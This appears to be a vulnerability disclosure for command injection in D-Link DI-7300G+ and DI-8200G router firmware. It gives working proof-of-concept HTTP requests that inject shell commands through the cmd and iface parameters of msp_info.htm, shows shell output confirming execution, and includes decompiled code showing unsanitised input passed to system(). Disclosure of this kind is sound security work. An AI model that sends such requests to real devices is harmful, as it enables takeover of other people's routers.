

Vendor of the products: D-Link

Affected Device: D-Link DI-7300G+、DI-8200G

Version: DI-7300G+ V19.12.25A1、DI_8200G-17.12.20A1

Firmware Download:<http://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DI-7300G%2B>

<http://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DI-8200G>

Vulnerability Description: A command injection vulnerability was discovered in D-Link DI-7300G+ V19.12.25A1 and DI_8200G-17.12.20A1, triggered by the flag, cmd, and iface parameters in msp_info.htm. Attackers can exploit this vulnerability by crafting malicious packets to execute arbitrary commands, thereby gaining full control of the target device.

POC:

request1:

```
Request
Pretty Raw Hex
1 GET /msp_info.htm?flag=cmd&cmd=$(ls>/004.txt) HTTP/1.1
2 Host: 192.168.0.1
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:139.0)
  Gecko/20100101 Firefox/139.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0
  .8
5 Accept-Language:
  zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate, br
7 Connection: keep-alive
8 Cookie: wysLanguage=CN; userid=admin; gw_userid=
  admin,gw_passwd=FF24E6660F313F459F595084CEA7E305
9 Upgrade-Insecure-Requests: 1
10 Priority: u=0, i
11
12 |
```

request2:

```
Request
Pretty Raw Hex
1 GET /msp_info.htm?flag=qos&iface=$(ls>/005.txt) HTTP/1.1
2 Host: 192.168.0.1
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:139.0)
  Gecko/20100101 Firefox/139.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0
  .8
5 Accept-Language:
  zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate, br
7 Connection: keep-alive
8 Cookie: wysLanguage=CN; userid=admin; gw_userid=
  admin,gw_passwd=FF24E6660F313F459F595084CEA7E305
9 Upgrade-Insecure-Requests: 1
10 Priority: u=0, i
11
12
```

Vulnerability Effect:

It can be observed that the router receives the request and successfully executes the command.

```
Response
Pretty Raw Hex Render
1 HTTP/1.1 200 OK
2 Server: HTTPD_gw 1.0
3 Content-Length: 3759
4 Keep-Alive: timeout=15, max=100
5 Connection: Keep-Alive
6 Pragma: no-cache
7 Cache-Control: no-cache
8 Content-Type: text/html; charset=gb2312
9
10 errinfo num string<br>
    rzglsettype[0 | 1 | 3] tq notify_type[0|1|2] lanip port
    web_exit web_anyuser pc_no_auth second_auth_en<br>
    rzglget <br>
    rzglapi
    login/logout/white/black/checkonline/getonline/auth/portal<br>
    >
    pc_noauthlist<br>
    thirdserverstate mode dns_exp_get redirect_mode<br>
    rzglpreset fip dns host mac<br>
    rzglpreget <br>
    tcpmssset mod_1 mod_2 max val<br>
    mrcl_ips id name fn<br>
    mrcl_enid name en<br>
    mrcl_checkip ip<br>
    ?help<br>
    help help<br>
```

```
/ # ls
001.txt  bin      firmadyne  init      mnt      sbin      var
002.txt  dev      hd         lib       proc     sys
003.txt  etc      hd_share  lost+found root     tmp
004.txt  etc_ro   home      media     run      usr
/ # cat 004.txt
001.txt
002.txt
003.txt
004.txt
bin
dev
etc
etc_ro
firmadyne
hd
hd_share
home
init
lib
lost+found
media
mnt
proc
root
run
sbin
sys
tmp
usr
var
/ #
```

The iface parameter can also trigger the vulnerability.

```
Response
Pretty Raw Hex Render
1 HTTP/1.1 200 OK
2 Server: HTTPD_gw 1.0
3 Content-Length: 14
4 Keep-Alive: timeout=15, max=100
5 Connection: Keep-Alive
6 Pragma: no-cache
7 Cache-Control: no-cache
8 Content-Type: text/html; charset=gb2312
9
10 go to help<br>
```

```

/ # ls
001.txt    005.txt    etc_ro     home       media      run        usr
002.txt    bin        firmadyne  init       mnt        sbin       var
003.txt    dev        hd         lib        proc       sys
004.txt    etc        hd_share  lost+found root        tmp
/ # cat 005.txt
001.txt
002.txt
003.txt
004.txt
005.txt
bin
dev
etc
etc_ro
firmadyne
hd
hd_share
home
init
lib
lost+found

```

Vulnerability Cause:

The issue resides in the jhttpd component. In jhttpd, the program invokes the sub_46409C function to handle requests related to msp_info.htm. The program first retrieves the values of the flag and iface parameters via httpd_get_parm, storing them in the parm and v3 variables respectively.

```

61  int v60; // $t1
62  int v61; // $t0
63  int v62; // $a3
64  int v63; // $a2
65  _DWORD Error_no_flag[4]; // [sp+18h] [-518h] BYREF
66  int v65; // [sp+28h] [-508h]
67  int v66; // [sp+2Ch] [-504h]
68  int v67; // [sp+30h] [-500h]
69  __int16 v68; // [sp+34h] [-4FCh]
70  char v69; // [sp+36h] [-4FAh]
71  char v70[52]; // [sp+98h] [-498h] BYREF
72  int v71; // [sp+CCh] [-464h]
73  char echo_not_cmd_tmp_msp.info[1024]; // [sp+130h] [-400h] BYREF
74
75  parm = httpd_get_parm(a1, "flag");
76  v3 = (const char *)httpd_get_parm(a1, "iface");
77  if ( !parm )
78  {
79  LABEL_8:
80      v4 = nvram_get("wysLanguage");
81      if ( !strcmp(v4, "EN") )
82      {
83          n14 = 14;
84          strcpy((char *)Error_no_flag, "Error: no flag");
85      }
86      else
87      {
88          v45 = nvram_get("wysLanguage");
89          if ( !strcmp(v45, "FT") )
90          {
91              n14 = 13;
92              v47 = &dwword_6845E8;
93              n1624597989 = 1624597989;
94          }
95          else
96          {
97              n14 = 13;
98              n1624597989 = -204542540;
99              v47 = &dwword_6845F8;
100          }
101          v48 = v47[1];
102          v49 = v47[2];
103          v50 = *((_WORD *)v47 + 6);
104          Error_no_flag[0] = n1624597989;
          Error_no_flag[1] = v48;
0006409C sub_46409C:61 (46409C)

```

When the value of the flag parameter is cmd, the program retrieves the value of the cmd parameter via `httpd_get_parm` and stores it in the variable `v44`. The program then uses the `sprintf` function to concatenate the value of the cmd parameter into a variable, which is executed by the `jhl_system` function. When the value of the flag parameter is qos, the program uses the `sprintf` function to concatenate the previously retrieved iface parameter value into a variable, which is then passed to the `jhl_system` function for execution.

Due to the lack of security checks on input data during these processes, attackers can execute arbitrary commands and fully control the device by constructing malicious parameters.

```

286     v66 = v58;
287     return httpd_cgi_ret(a1, Error:_no_flag, n14, 4);
288 }
289 if ( !strcmp(parm, "cmd") )
290 {
291     v44 = (const char *)httpd_get_parm(a1, "cmd");
292     if ( v44 && *v44 )
293         sprintf(echo_not_cmd_tmp_msp.info, "wys %s > /tmp/msp.info 2>&1", v44);
294     else
295         strcpy(echo_not_cmd_tmp_msp.info, "echo \"not cmd\" > /tmp/msp.info");
296     goto LABEL_23;
297 }
298 if ( !strcmp(parm, "qos") )
299 {
300     if ( v3 )
301         sprintf(echo_not_cmd_tmp_msp.info, "wys qos skb %s > /tmp/msp.info", v3);
302     else
303         strcpy(echo_not_cmd_tmp_msp.info, "wys qos devinfo > /tmp/msp.info");
304 LABEL_23:
305     system(echo_not_cmd_tmp_msp.info);
306     goto LABEL_12;
307 }
308 if ( strcmp(parm, "debug") )
309     goto LABEL_8;
310 jhl_httpd_just_debug_signal(0);
311 strcpy((char *)Error:_no_flag, "ok");
312 return httpd_cgi_ret(a1, Error:_no_flag, 2, 4);
313 }

```

000646D0 sub_46409C:274 (4646D0)